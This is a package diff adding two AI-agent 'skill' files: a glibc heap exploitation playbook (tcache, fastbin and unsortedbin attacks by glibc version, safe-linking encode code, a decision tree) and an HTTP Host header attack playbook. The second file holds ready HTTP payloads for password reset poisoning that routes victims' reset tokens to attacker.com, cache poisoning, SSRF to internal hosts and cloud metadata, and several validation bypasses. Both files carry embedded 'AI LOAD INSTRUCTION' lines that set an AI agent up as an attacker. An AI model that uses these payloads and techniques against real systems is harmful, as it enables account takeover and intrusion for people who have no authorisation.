ineedcodes 1.6.0 → 1.7.0

package/skills/heap-exploitation/SKILL.md

@@ -0,0 +1,217 @@
+---
+name: heap-exploitation
+description: >-
+  Heap exploitation playbook. Use when targeting ptmalloc2/glibc heap vulnerabilities including UAF, double free, overflow, off-by-one/null, and leveraging tcache/fastbin/unsortedbin attacks for arbitrary write or code execution.gated: true
+---
+
+# SKILL: Heap Exploitation — Expert Attack Playbook
+
+> **AI LOAD INSTRUCTION**: Expert glibc heap exploitation techniques. Covers ptmalloc2 internals, bin structures, tcache mechanics, libc/heap leak methods, and attack selection by glibc version. Distilled from ctf-wiki heap sections, how2heap, and real-world exploitation. Base models often confuse glibc version constraints and miss safe-linking (PROTECT_PTR) introduced in 2.32.
+
+## 0. RELATED ROUTING
+
+- [stack-overflow-and-rop](../stack-overflow-and-rop/SKILL.md) — when the overflow is on the stack rather than the heap
+- [format-string-exploitation](../format-string-exploitation/SKILL.md) — leak heap/libc addresses via format string
+- [arbitrary-write-to-rce](../arbitrary-write-to-rce/SKILL.md) — convert heap arbitrary write into code execution
+- [binary-protection-bypass](../binary-protection-bypass/SKILL.md) — bypass ASLR/RELRO to use heap write effectively
+
+### Advanced References
+
+- [HOUSE_OF_TECHNIQUES.md](./HOUSE_OF_TECHNIQUES.md) — House of Force/Spirit/Orange/Einherjar/Roman/Pig/Banana/Cat/Apple and tcache attacks
+- [IO_FILE_EXPLOITATION.md](./IO_FILE_EXPLOITATION.md) — _IO_FILE vtable hijack, FSOP, stdout/stdin abuse, exit flow exploitation
+
+---
+
+## 1. PTMALLOC2 STRUCTURE QUICK REFERENCE
+
+### malloc_chunk Layout (64-bit)
+
+```
+         chunk pointer (returned by malloc - 0x10)
+         ┌──────────────────────────┐
+    0x00 │  prev_size (if prev free)│
+    0x08 │  size        | A | M | P │  ← P=PREV_INUSE, M=IS_MMAPPED, A=NON_MAIN_ARENA
+         ├──────────────────────────┤  ← user data starts here (returned pointer)
+    0x10 │  fd (if free)            │  ← forward pointer to next free chunk
+    0x18 │  bk (if free)            │  ← backward pointer to prev free chunk
+    0x20 │  fd_nextsize (large only)│
+    0x28 │  bk_nextsize (large only)│
+         └──────────────────────────┘
+```
+
+### Bin Types
+
+| Bin | Size Range (64-bit) | Structure | LIFO/FIFO |
+|---|---|---|---|
+| tcache (per-thread) | ≤ 0x410 (7 entries per size) | Singly linked (next pointer) | LIFO |
+| fastbin | ≤ 0x80 (default) | Singly linked (fd) | LIFO |
+| unsortedbin | Any freed size | Doubly linked circular | FIFO |
+| smallbin | < 0x400 | Doubly linked circular | FIFO |
+| largebin | ≥ 0x400 | Doubly linked + size-sorted | Sorted |
+
+### Key Global Structures
+
+| Structure | Location | Purpose |
+|---|---|---|
+| `main_arena` | libc .data segment | Contains bin heads, top chunk, system_mem |
+| `mp_` | libc .data | malloc parameters (tcache settings, mmap threshold) |
+| `tcache_perthread_struct` | Heap (first allocation) | Per-thread tcache bins and counts |
+
+---
+
+## 2. LEAK METHODS
+
+### Libc Base Leak
+
+| Method | Precondition | Technique |
+|---|---|---|
+| Unsortedbin fd/bk | Free a chunk > tcache range (or fill tcache) | fd/bk → `main_arena + 0x60` (or +0x70 depending on version) → libc base |
+| Smallbin fd/bk | Chunk moved from unsortedbin to smallbin | Same as unsortedbin leak |
+| stdout FILE leak | Write to `_IO_2_1_stdout_` | Corrupt `_IO_write_base` to leak libc data (see IO_FILE) |
+
+### Heap Base Leak
+
+| Method | Precondition | Technique |
+|---|---|---|
+| Tcache fd pointer | Free two tcache chunks, read first's fd | fd → heap address (XOR'd in ≥ 2.32) |
+| Fastbin fd | Free two fastbin chunks | fd → heap address |
+| UAF read | Use-after-free on freed chunk | Read fd/bk directly |
+
+### Safe-Linking Decode (glibc ≥ 2.32)
+
+```python
+# PROTECT_PTR: fd_stored = (chunk_addr >> 12) ^ real_fd
+# To decode: real_fd = fd_stored ^ (chunk_addr >> 12)
+# To encode: fd_stored = (chunk_addr >> 12) ^ target_addr
+
+def deobfuscate(stored_fd, chunk_addr):
+    return stored_fd ^ (chunk_addr >> 12)
+
+def obfuscate(target, chunk_addr):
+    return (chunk_addr >> 12) ^ target
+```
+
+---
+
+## 3. ATTACK CATEGORIES BY GLIBC VERSION
+
+### glibc < 2.26 (No tcache)
+
+| Attack | Primitive Needed | Result |
+|---|---|---|
+| Fastbin dup | Double free | Arbitrary allocation |
+| Unsortedbin attack | Corrupt unsortedbin bk | Write `main_arena` addr to target (used for __malloc_hook nearby overwrite) |
+| Unlink attack | Heap overflow into prev_size + fd/bk | Arbitrary write (with known heap pointer) |
+| House of Force | Top chunk size overwrite | Arbitrary allocation |
+| House of Spirit | Write fake chunk header | Fastbin allocation at fake chunk |
+| Off-by-one null | Null byte overflow into next chunk size | Overlapping chunks |
+
+### glibc 2.26–2.28 (tcache, no key)
+
+| Attack | Notes |
+|---|---|
+| Tcache poisoning | Overwrite tcache fd → arbitrary allocation, no size check |
+| Tcache dup | Double free into tcache (no double-free detection yet) |
+| All previous attacks | Still work, but chunks go to tcache first |
+
+### glibc 2.29–2.31 (tcache key introduced)
+
+| Attack | Bypass for tcache key |
+|---|---|
+| Tcache dup | Corrupt `key` field (at chunk+0x18) before second free |
+| House of Botcake | Double free: one in unsortedbin, one in tcache → overlapping |
+| Tcache stashing unlink | Abuse smallbin→tcache refill to get arbitrary chunk |
+
+### glibc 2.32–2.33 (safe-linking / PROTECT_PTR)
+
+| Attack | Adaptation |
+|---|---|
+| Tcache poisoning | Encode target with `(chunk_addr >> 12) ^ target` |
+| Heap leak required | Need heap addr to decode/encode safe-linked pointers |
+| Fastbin dup | Same encoding required |
+
+### glibc ≥ 2.34 (hooks removed)
+
+| Change | Impact |
+|---|---|
+| `__malloc_hook` removed | Cannot overwrite hook for one_gadget |
+| `__free_hook` removed | Cannot overwrite hook |
+| `__realloc_hook` removed | Cannot use realloc trick for one_gadget constraints |
+
+**Post-2.34 targets**: see [arbitrary-write-to-rce](../arbitrary-write-to-rce/SKILL.md) for `_IO_FILE`, `exit_funcs`, `TLS_dtor_list`, `_dl_fini`.
+
+---
+
+## 4. COMMON VULNERABILITY PATTERNS
+
+| Vulnerability | Description | Exploitation Path |
+|---|---|---|
+| UAF (Use-After-Free) | Access chunk after free | Read: leak fd/bk; Write: corrupt fd for tcache poisoning |
+| Double Free | free() same chunk twice | Tcache dup (bypass key) or fastbin dup |
+| Heap Overflow | Write past chunk boundary | Corrupt next chunk's metadata (size, fd, bk) |
+| Off-by-one | One byte overflow | Null byte → shrink next chunk size → overlapping chunks |
+| Off-by-null | Specifically `\x00` overflow | Clear PREV_INUSE → trigger backward consolidation |
+| Uninitialized read | Read heap memory without clearing | Leak fd/bk from recycled chunk |
+
+---
+
+## 5. TOOLS
+
+```bash
+# pwndbg heap inspection
+pwndbg> heap                      # display all chunks
+pwndbg> bins                      # show all bin contents
+pwndbg> tcachebins                # tcache status
+pwndbg> fastbins                  # fastbin status
+pwndbg> unsortedbin               # unsortedbin content
+pwndbg> vis_heap_chunks           # visual heap layout
+pwndbg> find_fake_fast &__malloc_hook  # find nearby fake fastbin chunks
+
+# how2heap — reference implementations
+git clone https://github.com/shellphish/how2heap
+
+# heapinspect
+pip install heapinspect
+heapinspect <pid>
+
+# pwntools helpers
+from pwn import *
+libc = ELF('./libc.so.6')
+print(hex(libc.symbols['__malloc_hook']))
+print(hex(libc.symbols['__free_hook']))
+```
+
+---
+
+## 6. DECISION TREE
+
+```
+Heap vulnerability identified
+├── What is the primitive?
+│   ├── UAF (read + write)
+│   │   ├── Can read freed chunk? → Leak libc (unsortedbin) or heap (tcache fd)
+│   │   └── Can write freed chunk? → Tcache poisoning / fastbin dup
+│   ├── Double free
+│   │   ├── glibc < 2.29 → direct tcache dup
+│   │   ├── glibc 2.29-2.31 → corrupt tcache key first, or House of Botcake
+│   │   └── glibc ≥ 2.32 → need heap leak for safe-linking encode
+│   ├── Heap overflow (controlled size)
+│   │   ├── Overwrite next chunk size → overlapping chunks → UAF
+│   │   └── Overwrite fd directly → arbitrary allocation
+│   ├── Off-by-one / off-by-null
+│   │   ├── Null byte into size → House of Einherjar (backward consolidation)
+│   │   └── One byte into size → shrink chunk, create overlap
+│   └── Arbitrary write (from overlap or poisoned allocation)
+│       ├── glibc < 2.34 → __malloc_hook / __free_hook → one_gadget
+│       ├── glibc ≥ 2.34 → _IO_FILE vtable, exit_funcs, TLS_dtor_list
+│       └── Partial RELRO → GOT overwrite
+│
+├── Need libc leak?
+│   ├── Free chunk into unsortedbin (size > 0x410 or fill 7 tcache)
+│   ├── Read fd/bk → main_arena offset → libc base
+│   └── Alternative: stdout FILE partial overwrite for leak
+│
+└── Need heap leak? (glibc ≥ 2.32)
+    ├── Read tcache fd from freed chunk
+    └── Decode: real_addr = stored_fd ^ (chunk_addr >> 12)
+```

package/skills/http-host-header-attacks/SKILL.md

@@ -0,0 +1,323 @@
+---
+name: http-host-header-attacks
+description: >-
+  HTTP Host header injection and routing abuse playbook. Use when the application
+  trusts the Host header for generating URLs, routing requests, or access control
+  — enabling password reset poisoning, web cache poisoning, SSRF via routing,
+  and virtual host bypass.gated: true
+---
+
+# SKILL: HTTP Host Header Attacks — Injection & Routing Abuse
+
+> **AI LOAD INSTRUCTION**: Covers Host header injection for password reset poisoning, cache poisoning, SSRF via routing, and virtual host bypass. Includes bypass techniques for Host validation and framework-specific behaviors. Base models often miss the double-Host trick, absolute-URI override, and connection-state attacks.
+
+## 0. RELATED ROUTING
+
+- [web-cache-deception](../web-cache-deception/SKILL.md) when Host injection is combined with cache behavior
+- [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md) when Host header routes requests to internal services
+- [open-redirect](../open-redirect/SKILL.md) when Host injection causes redirect to attacker domain
+- [waf-bypass-techniques](../waf-bypass-techniques/SKILL.md) when Host manipulation helps bypass WAF routing
+- [request-smuggling](../request-smuggling/SKILL.md) when smuggling enables Host header manipulation past front-end validation
+- [subdomain-takeover](../subdomain-takeover/SKILL.md) when Host routing exposes internal vhosts resolvable via subdomain
+
+---
+
+## 1. ATTACK SURFACE
+
+The Host header is used by web applications and infrastructure for:
+
+| Usage | Exploitation |
+|---|---|
+| URL generation (password reset links, email links) | Inject attacker domain → user clicks link to attacker |
+| Virtual host routing | Spoof Host → access internal/admin vhost |
+| Cache key component | Inject different Host → poison cache for all users |
+| Reverse proxy routing | Host determines backend → SSRF to internal services |
+| Access control decisions | Host-based ACLs can be bypassed |
+| Canonical URL / SEO redirects | Host injection → open redirect |
+
+---
+
+## 2. PASSWORD RESET POISONING
+
+The most common and impactful Host header attack.
+
+### How It Works
+
+```
+1. Attacker requests password reset for victim@target.com
+2. Attacker modifies Host header in the reset request:
+   POST /forgot-password HTTP/1.1
+   Host: attacker.com    ← injected
+   
+   email=victim@target.com
+
+3. Server generates reset link using Host header value:
+   "Click here to reset: https://attacker.com/reset?token=SECRET_TOKEN"
+
+4. Victim receives email, clicks link → token sent to attacker
+5. Attacker uses token on real target.com to reset password
+```
+
+### Testing
+
+```http
+POST /forgot-password HTTP/1.1
+Host: attacker-collaborator.burpcollaborator.net
+Content-Type: application/x-www-form-urlencoded
+
+email=victim@target.com
+```
+
+Check Burp Collaborator for incoming HTTP request with the reset token.
+
+### Variants
+
+- Some apps concatenate: `Host: target.com.attacker.com` → link becomes `https://target.com.attacker.com/reset?token=xxx`
+- Some apps use only the port portion: `Host: target.com:@attacker.com` → parsed as `attacker.com` in some URL parsers
+
+---
+
+## 3. WEB CACHE POISONING VIA HOST
+
+```
+1. Attacker sends:
+   GET / HTTP/1.1
+   Host: attacker.com
+
+2. If cache keys on URL path but NOT on Host header:
+   → Response cached with attacker.com in generated links/content
+
+3. Subsequent users requesting GET / receive the poisoned response
+   → Links point to attacker.com, scripts load from attacker.com
+```
+
+**Key requirement**: Cache must not include Host header in cache key, but application must use Host in response body.
+
+Test by sending two requests with different Host values and checking if the second request returns the first's Host in the response.
+
+---
+
+## 4. SSRF VIA HOST ROUTING
+
+When a reverse proxy uses Host header to route to backends:
+
+```
+GET /api/internal HTTP/1.1
+Host: internal-admin-panel.local
+
+→ Reverse proxy routes request to internal-admin-panel.local
+→ Attacker accesses internal service
+```
+
+Common in:
+- Nginx `proxy_pass` based on `$host`
+- Apache `ProxyPass` with virtual host routing
+- Kubernetes Ingress controllers
+- Cloud load balancers
+
+---
+
+## 5. VIRTUAL HOST BYPASS
+
+Many servers host multiple applications on the same IP via virtual hosting:
+
+```
+Target:  Host: www.target.com  → public site
+Hidden:  Host: admin.target.com → admin panel (not in public DNS)
+Hidden:  Host: staging.target.com → staging environment
+Hidden:  Host: localhost → server status page
+```
+
+### Discovery
+
+```
+1. Brute-force Host header with common vhost names:
+   ffuf -u http://TARGET_IP -H "Host: FUZZ.target.com" -w vhosts.txt
+
+2. Try special values:
+   Host: localhost
+   Host: 127.0.0.1
+   Host: admin
+   Host: internal
+   Host: intranet
+
+3. Compare response size/content to identify different vhosts
+```
+
+---
+
+## 6. BYPASS TECHNIQUES WHEN HOST IS VALIDATED
+
+### 6.1 Override Headers
+
+Many frameworks/proxies trust these headers over the Host header:
+
+| Header | Frameworks That Trust It |
+|---|---|
+| `X-Forwarded-Host` | Symfony, Laravel, Django (when `USE_X_FORWARDED_HOST=True`), Rails (behind proxy) |
+| `X-Host` | Some custom proxy configurations |
+| `X-Original-URL` | IIS with URL Rewrite module |
+| `X-Rewrite-URL` | IIS with URL Rewrite module |
+| `Forwarded: host=attacker.com` | RFC 7239 compliant proxies |
+| `X-Forwarded-Server` | Apache mod_proxy |
+
+Test all simultaneously:
+
+```http
+GET /forgot-password HTTP/1.1
+Host: target.com
+X-Forwarded-Host: attacker.com
+X-Host: attacker.com
+X-Original-URL: /forgot-password
+Forwarded: host=attacker.com
+```
+
+### 6.2 Absolute URL in Request Line
+
+```http
+GET http://attacker.com/path HTTP/1.1
+Host: target.com
+```
+
+Per HTTP/1.1 spec (RFC 7230): if the request line contains an absolute URI, the Host header SHOULD be ignored. Some servers follow this, some don't — the mismatch between proxy and backend creates the vulnerability.
+
+### 6.3 Double Host Header
+
+```http
+GET /path HTTP/1.1
+Host: target.com
+Host: attacker.com
+```
+
+Behavior varies:
+- Some proxies validate first Host, app uses second
+- Some servers concatenate: `target.com, attacker.com`
+- RFC says: if both differ, return 400. Most servers don't.
+
+### 6.4 Host with Port / Credentials
+
+```http
+Host: target.com:@attacker.com
+Host: target.com:evil.com
+Host: target.com#@attacker.com
+Host: attacker.com%23@target.com
+```
+
+URL parsers may extract the "host" portion differently when credentials (`@`) or fragments (`#`) are present.
+
+### 6.5 Trailing Dot
+
+```http
+Host: target.com.
+```
+
+DNS treats `target.com.` and `target.com` identically (trailing dot = FQDN). But Host validation may not strip the trailing dot → `target.com. ≠ target.com` in string comparison → bypass whitelist.
+
+### 6.6 Tab / Space Injection
+
+```http
+Host: target.com\tattacker.com
+Host: target.com attacker.com
+```
+
+Some parsers split on whitespace; the server may use `attacker.com` portion while validation checks `target.com` portion.
+
+### 6.7 Wrap-Around / Enclosed Values
+
+```http
+Host: "attacker.com"
+Host: <attacker.com>
+```
+
+Quoted or bracketed values may be stripped by the app but not by the validator.
+
+---
+
+## 7. FRAMEWORK-SPECIFIC BEHAVIOR
+
+| Framework | Host Source | Gotcha |
+|---|---|---|
+| **PHP** | `$_SERVER['HTTP_HOST']` (raw header, directly injectable) | `SERVER_NAME` is safer only with `UseCanonicalName On` |
+| **Django** | `HttpRequest.get_host()` checks X-Forwarded-Host first (if enabled) | `USE_X_FORWARDED_HOST=True` bypasses `ALLOWED_HOSTS` |
+| **Rails** | `request.host` from Host header; trusts `X-Forwarded-Host` behind proxy | Rails 6+ `HostAuthorization` middleware mitigates |
+| **Node/Express** | `req.hostname` / `req.headers.host`; with `trust proxy` uses X-Forwarded-Host | No built-in host validation |
+
+---
+
+## 8. CONNECTION-STATE ATTACKS
+
+A sophisticated variant exploiting HTTP keep-alive:
+
+```
+Connection 1:
+  Request 1: GET / HTTP/1.1    ← Valid Host: target.com
+              Host: target.com     → Proxy validates, forwards, keeps connection open
+
+  Request 2: GET /admin HTTP/1.1  ← Evil Host on SAME connection
+              Host: evil.com       → Some proxies skip validation on subsequent requests
+                                     (they validated the connection on first request)
+```
+
+This works against proxies that perform Host validation only on the first request of a keep-alive connection.
+
+### Testing
+
+```
+1. Use Burp Repeater with "Connection: keep-alive"
+2. Send normal request first
+3. On same connection, send request with manipulated Host
+4. Check if second request is processed differently
+```
+
+---
+
+## 9. HOST HEADER ATTACK DECISION TREE
+
+```
+Application uses Host header in responses/behavior?
+│
+├── Test direct Host injection
+│   ├── Change Host to attacker domain → reflected in response?
+│   │   ├── YES → Check impact:
+│   │   │   ├── In password reset emails? → PASSWORD RESET POISONING
+│   │   │   ├── In cached responses? → WEB CACHE POISONING
+│   │   │   ├── In redirects? → OPEN REDIRECT
+│   │   │   └── In script/link URLs? → XSS VIA HOST
+│   │   └── NO (400/403/different response) → Host is validated
+│   │
+│   └── Host validated? Try bypasses:
+│       ├── X-Forwarded-Host header
+│       ├── X-Host / X-Original-URL / Forwarded header
+│       ├── Absolute URL in request line
+│       ├── Double Host header
+│       ├── Host: target.com:@attacker.com (URL parser confusion)
+│       ├── Host: target.com. (trailing dot)
+│       ├── Tab/space injection in Host value
+│       └── Connection-state attack (valid first request, evil second)
+│
+├── Test virtual host enumeration
+│   ├── Brute-force Host values against target IP
+│   ├── Try: localhost, admin, staging, internal, intranet
+│   └── Compare response sizes for different Host values
+│
+├── Test SSRF via Host routing
+│   ├── Host: 127.0.0.1 → internal service?
+│   ├── Host: internal-hostname.local → internal routing?
+│   └── Host: 169.254.169.254 → cloud metadata?
+│
+└── No Host-based behavior found
+    └── Check if app uses Host in server-side operations
+        (email generation, webhook URLs, API callbacks)
+```
+
+---
+
+## 10. TRICK NOTES — WHAT AI MODELS MISS
+
+1. **Password reset poisoning doesn't require the victim to be logged in** — you request the reset, the victim just clicks the link. The token lands on your server.
+2. **X-Forwarded-Host is the #1 missed bypass**: Most Host validation checks `Host` header but frameworks silently prefer `X-Forwarded-Host` when behind a proxy.
+3. **Double Host header is protocol-valid but behavior-undefined**: RFC says reject with 400, but almost no server actually does this. The mismatch between proxy and app is the vulnerability.
+4. **Absolute URI overrides Host per RFC**: `GET http://evil.com/path HTTP/1.1\nHost: target.com` — the spec says use the request-line URI. But not all implementations agree.
+5. **Cache poisoning via Host requires the cache to exclude Host from the key**: Most CDNs include Host in the cache key. But custom Varnish/Nginx caches may not. Also test with `X-Forwarded-Host` as cache key differentiator.
+6. **Connection-state attacks are rarely tested**: Automated scanners don't test keep-alive behavior. Manual testing via Burp Repeater's connection reuse is essential.
+7. **DNS rebinding + Host attacks**: If you control DNS, point your domain to the target's IP → your domain resolves to their server → Host header says your domain, but request hits their server. Useful for bypassing IP-based access controls.